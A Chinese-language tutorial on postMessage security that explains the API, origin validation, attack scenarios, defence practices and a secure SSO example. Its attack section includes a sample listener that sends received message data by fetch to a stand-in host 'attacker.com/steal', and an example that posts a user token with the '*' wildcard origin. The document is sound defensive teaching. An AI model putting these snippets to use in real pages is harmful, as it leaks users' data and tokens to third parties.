Web安全之同源策略的例外：跨文档消息传递（postMessage）安全详解

一、跨文档消息传递的基本概念与使用场景
跨文档消息传递（postMessage）是浏览器提供的一种安全跨源通信机制，允许不同源的窗口/iframe之间通过消息事件传递数据。其核心目的是在严格同源策略下实现可控的跨域数据交互，常见场景包括：

1. 父子窗口通信：主页面与嵌入的iframe（不同源）需交换数据
2. 多标签页协作：同一浏览器内多个标签页共享状态
3. 微前端架构：主应用与子应用间通信

二、postMessage API 的详细参数与调用流程

1. 发送消息方语法：

   targetWindow.postMessage(message, targetOrigin, [transfer]);  
   

   • targetWindow：目标窗口的引用（如iframe.contentWindow）
   • message：可序列化数据（字符串、对象等）
   • targetOrigin：限制接收方来源，可设为具体域名或通配符"*"（需谨慎使用）
   • transfer（可选）：可转移对象（如ArrayBuffer）

2. 接收消息方监听机制：

   window.addEventListener("message", (event) => {  
     // 必须验证来源合法性  
     if (event.origin !== "https://trusted-domain.com") return;  
     console.log(event.data); // 接收的数据  
   });  
   

   • event.origin：消息发送方的完整源（协议+域名+端口）
   • event.source：发送方窗口的引用，可用于回传消息
   • event.data：传递的数据副本

三、安全风险与攻击场景分析

1. 来源验证缺失导致的数据泄露

   • 风险：若未校验event.origin，恶意网站可伪造消息注入敏感数据
   • 示例攻击：

     // 恶意页面监听任意消息并窃取数据  
     window.addEventListener("message", (event) => {  
       // 未验证origin，直接发送数据到攻击者服务器  
       fetch("https://attacker.com/steal", { body: event.data });  
     });  
     

2. 目标origin设置不当引发的消息劫持

   • 错误示例：使用通配符"*"发送敏感消息

     // 敏感数据可能被任意恶意页面接收  
     postMessage("user_token=abc", "*");  
     

   • 安全实践：始终指定精确的targetOrigin

3. 双向通信中的身份混淆攻击

   • 风险：恶意页面伪造event.source回传虚假响应
   • 防护：发送方需验证回复消息的event.origin与预期一致

四、纵深防御实践方案

1. 发送方安全规范：

   • 最小化targetOrigin范围，避免通配符
   • 敏感数据加密后传输（如使用JWT签名）
   • 添加消息序列号防重放攻击

2. 接收方安全规范：

   • 严格校验event.origin白名单
   • 使用正则匹配避免子域名绕过（如验证/^https://example\.com$/）
   • 对接收数据做类型校验（如JSON Schema验证）

3. 架构级防护：

   • 建立消息类型枚举，限制可操作范围
   • 关键操作需二次确认（如支付前弹窗验证）
   • 结合CSP策略限制恶意脚本注入

五、实际案例：安全实现跨域单点登录（SSO）

1. 父页面（sso-provider.com）向子iframe（app.com）发送令牌：

   // 发送方  
   iframe.contentWindow.postMessage(  
     { type: "sso_token", token: encryptedToken },  
     "https://app.com"  
   );  
   

2. 子页面严格验证来源：

   window.addEventListener("message", (event) => {  
     if (event.origin !== "https://sso-provider.com") return;  
     if (event.data.type === "sso_token") {  
       // 解密令牌并建立会话  
     }  
   });  
   

通过以上分层防护策略，可在享受postMessage跨域便利性的同时，有效规避数据泄露和恶意攻击风险。